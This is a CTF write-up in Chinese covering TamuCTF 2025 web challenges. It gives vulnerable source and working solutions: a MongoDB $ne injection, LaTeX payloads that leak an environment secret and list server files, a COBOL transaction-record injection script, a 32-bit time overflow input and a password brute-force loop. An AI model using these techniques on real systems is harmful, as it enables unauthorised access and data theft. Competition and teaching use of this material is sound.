TamuCTF2025(web全)

首发于先知社区 https://xz.aliyun.com/news/17519

Aggie Bookstore(160 solves)

这里的代码,对于我这个AI小子来说非常难看,但是看代码我们就不着急,慢慢一句一句的搞懂

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
from flask import Flask, request, render_template, jsonify
from pymongo import MongoClient
import re

app = Flask(__name__)

client = MongoClient("mongodb://localhost:27017/")
db = client['aggie_bookstore']
books_collection = db['books']

def sanitize(input_str: str) -> str:
return re.sub(r'[^a-zA-Z0-9\s]', '', input_str)

@app.route('/')
def index():
return render_template('index.html', books=None)

@app.route('/search', methods=['GET', 'POST'])
def search():
query = {"$and": []}
books = []

if request.method == 'GET':
title = request.args.get('title', '').strip()
author = request.args.get('author', '').strip()

title_clean = sanitize(title)
author_clean = sanitize(author)

if title_clean:
query["$and"].append({"title": {"$eq": title_clean}})

if author_clean:
query["$and"].append({"author": {"$eq": author_clean}})

if query["$and"]:
books = list(books_collection.find(query))


return render_template('index.html', books=books)

elif request.method == 'POST':
if request.content_type == 'application/json':
try:
data = request.get_json(force=True)

title = data.get("title")
author = data.get("author")
if isinstance(title, str):
title = sanitize(title)
query["$and"].append({"title": title})
elif isinstance(title, dict):
query["$and"].append({"title": title})

if isinstance(author, str):
author = sanitize(author)
query["$and"].append({"author": author})
elif isinstance(author, dict):
query["$and"].append({"author": author})

if query["$and"]:
books = list(books_collection.find(query))
return jsonify([
{"title": b.get("title"), "author": b.get("author")} for b in books
])

return jsonify({"error": "Empty query"}), 400

except Exception as e:
return jsonify({"error": str(e)}), 500

return jsonify({"error": "Unsupported Content-Type"}), 400

if __name__ == "__main__":
app.run("0.0.0.0", 8000)

首先看到是mongodb,并且过滤函数sanitize,过滤特殊字符,仅保留字母、数字、空格,/index什么东西都没有/search是一个数据库的查询,$and 是 MongoDB 的操作符,表示 同时满足所有条件(类似 SQL 的 AND),在/search的GET传参把所有的特殊字符过滤了,所以除了Unicode啥的基本不考虑了,不过这个路由开了POST,并且解析json,$eq 是 MongoDB 的等于”操作符(类似 SQL 的 =)。

1
2
3
4
if query["$and"]:
books = list(books_collection.find(query))
else:
books = []

进行查询,看完代码之后很明显的Nosql注入,冲

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
POST /search HTTP/1.1
Host: aggie-bookstore.tamuctf.com
Pragma: no-cache
Cache-Control: no-cache
Sec-Ch-Ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Sec-Fetch-User: ?1
Referer: https://aggie-bookstore.tamuctf.com/search?title=test&author=test
Priority: u=0, i
Connection: close
Content-Type: application/json
Content-Length: 22

{"title": {"$ne": ""}}

得到FLAG{nosql_n0_pr0bl3m}

Impossible(108 solves)

先把游戏保存下来,访问/impossible_ctf.swf然后JPEXS Free Flash Decompiler用这个工具进行分析,这里面没有牵扯地址的问题,不然就是逆向了,用exe的启动方式打开

1

这个和web关系真不大

Transparency(99 solves)

这个解题思路更像是渗透,

1

题目意思已经很明确了,就是说每个人可以创造私域,其中有自己的文档,当我选择创建新文档的时候发现什么事情都没有发生,回显为

New document creation is currently disabled following a request from law enforcement.

那flag能在哪里呢,只能在之前创建的私域里面了,那我们需要去查域名https查询域名

1
https://tve987yv.transparency.cybr.club/

访问就是flag

Research(7 solves)

题目说明了五分钟重启一次,所以我们现在本地搭建一下docker,先把多余容器删了,再启动

1
2
3
4
docker stop 27bea68fe303 && docker rm 27bea68fe303 && docker rmi 0fa340091225

docker build -t my_php_nginx_app .
docker run -d -p 8080:80 --name my_php_nginx_app my_php_nginx_app

发现docker拉不下来,额,慢慢看代码吧,首先看editor/editor.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import { EditorState } from '@codemirror/state';
import { EditorView, lineNumbers, keymap } from '@codemirror/view';
import { defaultKeymap, historyKeymap, insertTab, history } from '@codemirror/commands';
import { StreamLanguage, indentOnInput } from '@codemirror/language';
import { closeBrackets, closeBracketsKeymap } from '@codemirror/autocomplete';
import { stex } from '@codemirror/legacy-modes/mode/stex';
import { dracula } from '@uiw/codemirror-theme-dracula';

function createEditorState(initialContent) {
let extensions = [
dracula,
EditorView.lineWrapping,
lineNumbers(),
indentOnInput(),
history(),
closeBrackets(),
StreamLanguage.define(stex),
keymap.of([
{ key: 'Tab', run: insertTab },
...defaultKeymap,
...historyKeymap,
...closeBracketsKeymap
])
];

return EditorState.create({
doc: initialContent,
extensions
});
}

function createEditorView(state, parent) {
return new EditorView({ state, parent });
}

export { createEditorState, createEditorView };

这里写的是编辑器的东西,也就是网页的那个框框的语法之类的,但是其中有个问题,就是引入了LaTeX语法支持(旧版模式)@codirror/legacy-modes/mode/stex

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
/*compile.php*/
<?php
require_once 'vendor/autoload.php';
require_once 'helper.php';

use Ramsey\Uuid\Uuid;

function return_pdf($pdf) {
header('Content-Type: application/pdf');
header('Content-Disposition: inline; filename="paper.pdf"');
echo $pdf;
exit;
}

init_session();

$compUuid = Uuid::uuid4()->toString();
$sessUuid = decrypt_text($_SESSION['uuid'], $serverKey);
$key = decrypt_text($_SESSION['key'], $serverKey);
$latex = decrypt_text($_SESSION['latex'], $serverKey);
$dir = "/var/tmp/$compUuid";

chdir('/tmp');
if (
file_exists("$sessUuid.tex.enc") &&
file_exists("$sessUuid.text.enc") &&
decrypt_text("$sessUuid.tex.enc", $key) == $latex
) {
return_pdf(decrypt_file("$sessUuid.pdf.enc", $key));
}

exec("mkdir $dir");
$texFile = fopen("$dir/paper.tex", 'w');
if ($texFile) {
fwrite($texFile, $latex);
fclose($texFile);
}

exec("pdflatex -halt-on-error -output-directory $dir $dir/paper.tex", $output, $returnCode);
if ($returnCode !== 0) {
http_response_code(400);
echo 'Compilation failed.';
exit;
}

encrypt_file("$dir/paper.pdf", "$sessUuid.pdf.enc", $key);
encrypt_file("$dir/paper.tex", "$sessUuid.tex.enc", $key);
exec("rm -rf $dir");
return_pdf(decrypt_file("$sessUuid.pdf.enc", $key));
?>

1.解密输入 → 2. 检查缓存 → 3. 无缓存时编译 LaTeX → 4. 缓存结果并 PDF。将我们输入的内容放进tmp里面然后通过PDF打印出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
/*helper.php*/
<?php
require_once 'vendor/autoload.php';

use Ramsey\Uuid\Uuid;

$serverKey = getenv('SERVER_KEY');

function encrypt_file($inputPath, $outputPath, $key) {
exec("openssl enc -aes-256-ctr -salt -pbkdf2 -in $inputPath -out $outputPath -pass pass:$key");
}

function decrypt_file($path, $key) {
return shell_exec("openssl enc -d -aes-256-ctr -pbkdf2 -in $path -out /dev/stdout -pass pass:$key");
}

function encrypt_text($plaintext, $key) {
$cipher = 'aes-256-ctr';
$iv = random_bytes(openssl_cipher_iv_length($cipher));
$ciphertext = openssl_encrypt($plaintext, $cipher, $key, OPENSSL_RAW_DATA, $iv);
return bin2hex($iv . $ciphertext);
}

function decrypt_text($enctext, $key) {
$cipher = 'aes-256-ctr';
$data = hex2bin($enctext);
$ivLength = openssl_cipher_iv_length($cipher);
$iv = substr($data, 0, $ivLength);
$ciphertext = substr($data, $ivLength);
return openssl_decrypt($ciphertext, $cipher, $key, OPENSSL_RAW_DATA, $iv);
}

function init_session() {
global $serverKey;
session_start();

if (!isset($_SESSION['uuid'])) {
$uuid = Uuid::uuid4()->toString();
$_SESSION['uuid'] = encrypt_text($uuid, $serverKey);
}
if (!isset($_SESSION['key'])) {
$key = bin2hex(random_bytes(32));
$_SESSION['key'] = encrypt_text($key, $serverKey);
}
if (!isset($_SESSION['latex'])) {
$latex = file_get_contents('template.tex');
$_SESSION['latex'] = encrypt_text($latex, $serverKey);
}
}
?>

进行一个会话加密,并且我们得知SERVER_KEY在环境变量中,查看

1
2
3
4
5
6
7
/*index.php*/
<?php
require_once 'helper.php';

init_session();
$latex = decrypt_text($_SESSION['latex'], $serverKey);
?>

检测session

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<script>
async function compile() {
const data = new URLSearchParams();
data.append('latex', view.state.doc.toString());

await fetch("/update.php", {
method: "POST",
headers: {"Content-Type": "application/x-www-form-urlencoded"},
body: data.toString()
});

let iframe = document.getElementById("result");
iframe.contentWindow.location.reload();
}

const initialState = cm6.createEditorState(<?= json_encode($latex) ?>);
const view = cm6.createEditorView(initialState, document.getElementById("editor"));

document.addEventListener('keydown', function(e) {
if (e.ctrlKey && e.key === 's') {
e.preventDefault();
compile();
}
});
</script>

默认加载 compile.php来编译生成PDF,最后看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
/*update.php*/
<?php
require_once 'helper.php';

init_session();

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (empty($_POST['latex'])) {
http_response_code(400);
echo 'Bad Request: Missing LaTeX.';
exit;
}

$_SESSION['latex'] = encrypt_text($_POST['latex'], $serverKey);
}
?>

看完了所有代码发现是--no-shell-escape,就是不允许执行命令,但是这些命令是允许的

1
2
3
4
5
6
7
8
9
10
11
12
13
shell_escape_commands = \
bibtex,bibtex8,\
extractbb,\
gregorio,\
kpsewhich,\
l3sys-query,\
latexminted,\
makeindex,\
memoize-extract.pl,\
memoize-extract.py,\
repstopdf,\
r-mpost,\
texosquery-jre8,\

bibtexbibtex8:用于处理 LaTeX 文档中的引用和参考文献。

extractbb:用于提取图形的边界框。

gregorio:与 Gregorian 调式相关的工具,通常用于音乐排版。

kpsewhich:一个非常常见的 LaTeX 工具,用于查找文件路径,可以用于读取环境变量和系统信息。

l3sys-query:用于获取系统信息的工具,在某些情况下可以用来列出系统文件或目录。

latexminted:用于处理 minted 宏包的工具,支持高亮代码。

makeindex:用于处理索引的工具。

memoize-extract.plmemoize-extract.py:可能是自定义的脚本,用于提取缓存或存储的文件。

repstopdf:一个将图像文件转换为 PDF 格式的工具。

r-mpost:可能是与 LaTeX 的元后处理相关的工具。

texosquery-jre8:与 Java 相关的工具,可能用于查询 LaTeX 环境的设置或路径。

有用的只有读取环境变量和列目录,我们先查看SERVER_KEY

1
2
3
4
5
6
7
8
\documentclass{article}
\usepackage{catchfile}
\begin{document}

\CatchFileDef{\key}{|kpsewhich -expand-var=$SERVER_KEY}{}
The key is: \key

\end{document}

得到以下内容

1

1
The key is: 3c8ea83acb09113c8074e33639d2e76517982ade78ca3683f4a46b456bd623da
1
2
3
4
5
6
7
\documentclass{article}
\usepackage{catchfile}
\usepackage{verbatim}
\begin{document}

\verbatiminput{|l3sys-query ls --sort d}
\end{document}

可以得到当前目录的文件信息,

1
2
3
4
5
6
7
8
./sess_9e1ae23eeff86c6d4bb3a02f57efc3ab
./sess_dfd8e7498c59b317211ad2f7ea8c1a0c
./d1ff57e0-9f5f-4521-9909-1c635c3ddca9.pdf.enc
./d1ff57e0-9f5f-4521-9909-1c635c3ddca9.tex.enc
./sess_643fb224f021bb019dc5ea80e19a7cc1
./925ebc41-19c8-41cb-831f-4cda7dc9d365.pdf.enc
./925ebc41-19c8-41cb-831f-4cda7dc9d365.tex.enc
./sess_aa74cb226521a799aab422e412f22a40

但是用处不大,现在我们根本不知道怎么去获得flag,后面查到可以利用inputattachfile读取文件

1
2
3
4
5
6
7
\documentclass{article}
\begin{document}

\input{./sess_6afed1c55d206558beb1174d929bed91}
\input{./sess_62c82309abb8bc56ccb314d153ee4bfa}

\end{document}

但是attachfile是插入内容,所以这里并不适用,不过还是写一下怎么用的

1
2
3
4
5
6
7
\documentclass{article}
\usepackage{attachfile}
\begin{document}

\attachfile{./sess_a4c53297477c46a4bcfda34c03b9b99e}

\end{document}

获取到了

1
uuid—s:104:”af5fa90124b49374cc8a5252a4296d7eebf78c54e89253143eef29df75cbc6f1acca0fb004a92b003

但是这些都没有任何的作用,我们可以注意到文件中是通过session进行检验的,所以可以尝试把所有sess_id自己套上就这样获得了flag,弯弯真是多

1

Modern Banking(7 solves)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/bin/sh

port=$PORT

/usr/sbin/nginx
rm -f /var/run/fcgiwrap.socket
nohup /usr/sbin/fcgiwrap -f -s unix:/var/run/fcgiwrap.socket &
sleep 1
chmod a+rw /var/run/fcgiwrap.socket
chmod -R a+rx /var/www

while true; do
echo "Port: $port"
curl -s "localhost:$port?page=register" --data-raw "action=register&username=administrator&password=$PASS" >/dev/null
cookie="$(curl -v "localhost:$port?page=login" --data-raw "action=login&username=administrator&password=$PASS" 2>&1 | grep Set-Cookie | cut -d' ' -f3)"
account="$(curl "localhost:$port?page=home" -b "$cookie" | grep "<tr><td>" | head -n1 | cut -d'>' -f3)"
if [ -z "$account" ]; then
curl -s "localhost:$port?page=manage" -b "$cookie" --data-raw "action=new" >/dev/null
fi
curl -s "localhost:$port?page=admin" -b "$cookie" --data-raw "action=refresh&account=1&secret=$SECRET" >/dev/null
curl -s "localhost:$port?page=batch" -b "$cookie" --data-raw "action=batch&secret=$SECRET"
sleep 20
done

看到了用户名,并且发现这是个cob应用,这个代码直接从来没有见过,所以都是让AI来帮我看,发现如果是管理员就可以给指定账户转足够的钱去购买flag,卡着了没做出来,后面再看题目的时候发现出题人偷偷把题目改了,现在每个人可以进行用户的管理,最多创建8个用户

1

还是来看看代码,在VSOCDE下载一个COBOL插件就可以看代码了,看到路由部分的时候发现

1

登录然后访问?page=admin发现

1
2
3
4
5
6
7
8
9
<html>
<!--
<h3>Your accounts ( 1
)</h3><p><table><tr><th>Account</th><th>Balance</th><td></td></tr>
<tr><td>339984317737
</td><td> $999999999999999999.99
</td></tr>
</table></p>
-->

也就是说339984317737用户有足够多的钱来购买flag,草草的看完了代码,想到了两种方式,第一种刷新出来这个用户,用它买flag,第二种成为admin,通过注入banlance的手法打钱给账户,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
016410   MOVE "action" to Datatarget
016420 PERFORM 100-Parse-Data
016430 IF Datadone = 1 AND Dataval = "refresh"
016440 MOVE "account" to Datatarget
016450 PERFORM 100-Parse-Data
016460
016470 IF Datadone = 1 AND Dataval > 0 AND Dataval <=
016500 AccountCount
016510 MOVE Dataval TO AccountInd
016520 MOVE Account IN AccountList (AccountInd) TO Account OF
016530 AccountRecord
016540 PERFORM 104-DB-GetAccount
016550
016560 MOVE 999999999999999999.99 TO Balance
016570 OPEN I-O ACCOUNTS
016600 REWRITE AccountRecord
016610 CLOSE ACCOUNTS
016620 END-IF
016630 END-IF

看到代码发现

1

也就是说momo也会注入到数据中,那我们换行不就可以用那个巨额账号的钱转出来了嘛,但是写金额的时候有个问题就是代码中写到

1
05 Balance PIC 9(18)V99 VALUE 0.

余额格式为 20 位数,并且COBOL 通常使用固定长度字段来表示数据,注册用户之后的一键脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
import requests

# Target server URL
#url = "http://localhost:8888"

url = "https://modern-banking.tamuctf.com"

# Attacker's credentials (register first if needed)
username = "baozongwi"
password = "baozongwi"

# Login to get session cookie
session = requests.Session()
login_data = {
"action": "login",
"username": username,
"password": password
}
response = session.post(f"{url}/?page=login", data=login_data)


# Get admin account
response = session.get(f"{url}/?page=admin")
account_line = [line for line in response.text.split('\n') if '<tr><td>' in line][0]
admin_account = account_line.split('<td>')[1].split('<')[0].strip()
print('admin_account', admin_account)


# Create, get our account
session.post(f"{url}/?page=manage", data={"action": "new"})

response = session.get(f"{url}/?page=home")
account_line = [line for line in response.text.split('\n') if '<tr><td>' in line][0]
attacker_account = account_line.split('<td>')[1].split('<')[0].strip()
print('attacker_account', attacker_account)


# Inject malicious transaction
linesep = "%0A"
credit = "00000000000100000000"
record = f"{admin_account} {attacker_account} {credit} A"

def cobol_read(x, l):
return record[x-1 : x-1+l]

src = cobol_read(1, 12)
dst = cobol_read(14, 12)
credit = cobol_read(27, 20)
memo = cobol_read(48, 110)

print(record)
print(src)
print(dst)
print(credit)
print(memo)

# transact_data = {
# "action": "send",
# "send_account": "1",
# "receive_account": attacker_account,
# "amount": "1",
# "memo": f"hi"
# }

transact_data=f'action=send&send_account=1&receive_account={attacker_account}&amount=1&memo=A{linesep}{record}'

print(transact_data)
response = session.post(f"{url}/?page=transact",
data=transact_data.encode(),
headers={'Content-Type': 'application/x-www-form-urlencoded'})
print(response)
print(response.text)

# wait for batch processing (every 20 seconds)

再登录一下发现就可以成功买flag了,而这问题我不知道为什么会这样,为什么会行一行的去处理,看到代码的最开始

1

Forward to the Past(53 solves)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
#include <stdio.h>
#include <time.h>
#include <stdbool.h>
#include <stdint.h>

// External database submission API
extern void submit_registration(int32_t timestamp);

bool validate_future_date(const struct tm *input_date);
void print_banner(void);
void print_help(void);

int main() {
struct tm date_input = {0};
time_t current_time;
time(&current_time);

print_banner();

while (1) {
printf("\nOptions:\n");
printf("1. Submit travel registration\n");
printf("2. View help\n");
printf("3. Exit\n");
printf("Choose an option: ");

int choice;
scanf("%d", &choice);
getchar();

switch (choice) {
case 1: {
printf("\nEnter travel date (YYYY-MM-DD): ");
if (scanf("%d-%d-%d", &date_input.tm_year, &date_input.tm_mon, &date_input.tm_mday) != 3) {
printf("Invalid date format\n");
while (getchar() != '\n');
continue;
}

// Normalize input
date_input.tm_year -= 1900;
date_input.tm_mon -= 1;
date_input.tm_hour = 12;
date_input.tm_min = date_input.tm_sec = 0;
date_input.tm_isdst = -1;

if (!validate_future_date(&date_input)) {
printf("\nDate must be in the future!\n");
continue;
}

// Submit to database (file not provided)
int32_t time = mktime(&date_input);
submit_registration(time);

break;
}

case 2:
print_help();
break;

case 3:
printf("\nExiting system\n");
return 0;

default:
printf("\nInvalid option\n");
}
}
}

bool validate_future_date(const struct tm *input_date) {
time_t input_time = mktime((struct tm *)input_date);
time_t current_time;
time(&current_time);
return input_time > current_time;
}

void print_banner(void) {
printf("\n=== University Travel Registration System ===\n");
printf("NOTICE: All student travel must be registered\n");
printf(" at least 72 hours in advance\n");
}

void print_help(void) {
printf("\nSystem accepts dates in YYYY-MM-DD format\n");
printf("Travel must be registered before departure\n");
}

主要问题就是这里

1

不让提交过去的时间,很明显有溢出漏洞,但是溢出了又能怎么样呢

1
2
3
4
{ printf "1\n-2147481949-3-21\n"; } | openssl s_client -connect tamuctf.com:443 -servername tamuctf_forward-to-the-past -quiet
过了,无flag
{ printf "1\n-9223372036854775809-3-21\n"; } | openssl s_client -connect tamuctf.com:443 -servername tamuctf_forward-to-the-past -quiet
没过,无flag

总觉得晕头转向,重新读一下代码

1
extern void submit_registration(int32_t timestamp);

外部函数声明,说明可能服务端是int32_t,所以在这里可能就有差异,且validate_future_date算的是时间戳大小来比较是否是未来,写个脚本来让看看二者如果进行强制转换的话时间是否不同

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import ctypes
from datetime import datetime, timedelta


def date_to_timestamp(date_str):
"""绝对安全的日期转时间戳(支持任意年份)"""
dt = datetime.strptime(date_str, "%Y-%m-%d")
epoch = datetime(1970, 1, 1)
return int((dt - epoch).total_seconds())


def timestamp_to_date(timestamp):
"""支持所有时间戳的日期转换"""
epoch = datetime(1970, 1, 1)
return (epoch + timedelta(seconds=timestamp)).strftime("%Y-%m-%d")


def main():
print("时间戳转换演示(支持超大年份)")
while True:
try:
date_str = input("输入日期 (格式:YYYY-MM-DD,直接回车退出): ").strip()
if not date_str:
print("程序结束")
break

# 计算64位时间戳
t_64bit = date_to_timestamp(date_str)

# 强制转为32位(模拟2038问题)
t_32bit = ctypes.c_int32(t_64bit).value

# 输出结果
print(f"\n原始日期: {date_str}")
print(f"64位时间戳: {t_64bit} -> 转换回日期: {timestamp_to_date(t_64bit)}")
print(f"32位截断值: {t_32bit} -> 模拟2038问题: {timestamp_to_date(t_32bit)}")

except ValueError:
print("错误:日期格式必须为 YYYY-MM-DD(如:3000-01-01)")
except Exception as e:
print(f"发生未知错误: {e}")


if __name__ == "__main__":
main()

全部都用手动转换,不然数字大了不行,那么爆破一下输入什么最后会是2025-3-21,本来想写个爆破脚本的,但是真写不出来,一直报错

1

1
2
3
3114-1-14
# flag
gigem{7urn_y0ur_c0mpu73r_0ff_83f0r3_m1dn19h7}

这题给我做人格分裂了快

Moving Slowly(84 solves)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from flask import Flask, request, render_template
from transformers import GPT2LMHeadModel, GPT2Tokenizer
from os import environ
import logging
import re

app = Flask(__name__)

# Set up logging
logging.basicConfig(level=logging.DEBUG)

# Model initialization
model_name = 'gpt2'
tokenizer = GPT2Tokenizer.from_pretrained(model_name)
model = GPT2LMHeadModel.from_pretrained(model_name)
tokenizer.pad_token = tokenizer.eos_token

correct_password = environ.get('PASS')
FLAG = environ.get('FLAG')

def clean_message(message):
sentences = re.split(r'(?<=[.!?])\s+', message)
return " ".join(sentences[:2])

def generate_silly_message():
prompt = "First tell the user that their password is wrong, then come up with a silly joke to cheer them up about it"
inputs = tokenizer(prompt, return_tensors="pt", max_length=30, truncation=True)
outputs = model.generate(
inputs.input_ids,
attention_mask=inputs.attention_mask,
max_new_tokens=30,
do_sample=True,
temperature=0.7,
top_p=1.0,
pad_token_id=tokenizer.eos_token_id
)
full_response = tokenizer.decode(outputs[0], skip_special_tokens=True)
full_response.replace(prompt, "").strip()
return clean_message(full_response.replace(prompt, "").strip())


def compare_password(input_password):
for i, char in enumerate(input_password):
if char != correct_password[i]:
print(i)
silly_message = generate_silly_message()
return False, silly_message
return True, None

@app.route('/')
def login_page():
return render_template('login.html')

@app.route('/login', methods=['POST'])
def login():
input_password = request.form['password']
password_correct, silly_message = compare_password(input_password)
if password_correct:
response_message = f"Welcome back! You have logged in successfully. The flag is {FLAG}"
else:
response_message = f"Oops! Incorrect password. {silly_message}"

return render_template('login.html', response_message=response_message)

if __name__ == '__main__':
app.run('0.0.0.0', port=8000)

1

进行逐字符比较,并且会输出错误的那一位,那我们可以fuzz一下看看

1

正当我想要进行遍历代码的时候,看到一个漏洞,就是这个函数如果不返回False就会返回true,如果我们输入的一位刚好等于密码的第一位的时候就会成功返回true,写出如下demo测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
correct_password="test"
flag="flag{test}"

def compare_password(input_password):
for i, char in enumerate(input_password):
if char != correct_password[i]:
print(i)
return False
return True

if compare_password(input()) == False:
pass
else:
print(flag)

1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests
import string

chars=string.ascii_letters + string.digits + string.punctuation
# print(chars)
url="https://moving-slowly.cybr.club/login"
while True:
for char in chars:
r=requests.post(url,data={"password":f"{char}"})
if "gigem{" in r.text:
print(r.text)
print(char+"对了")
exit()
else:
print(char+"不对")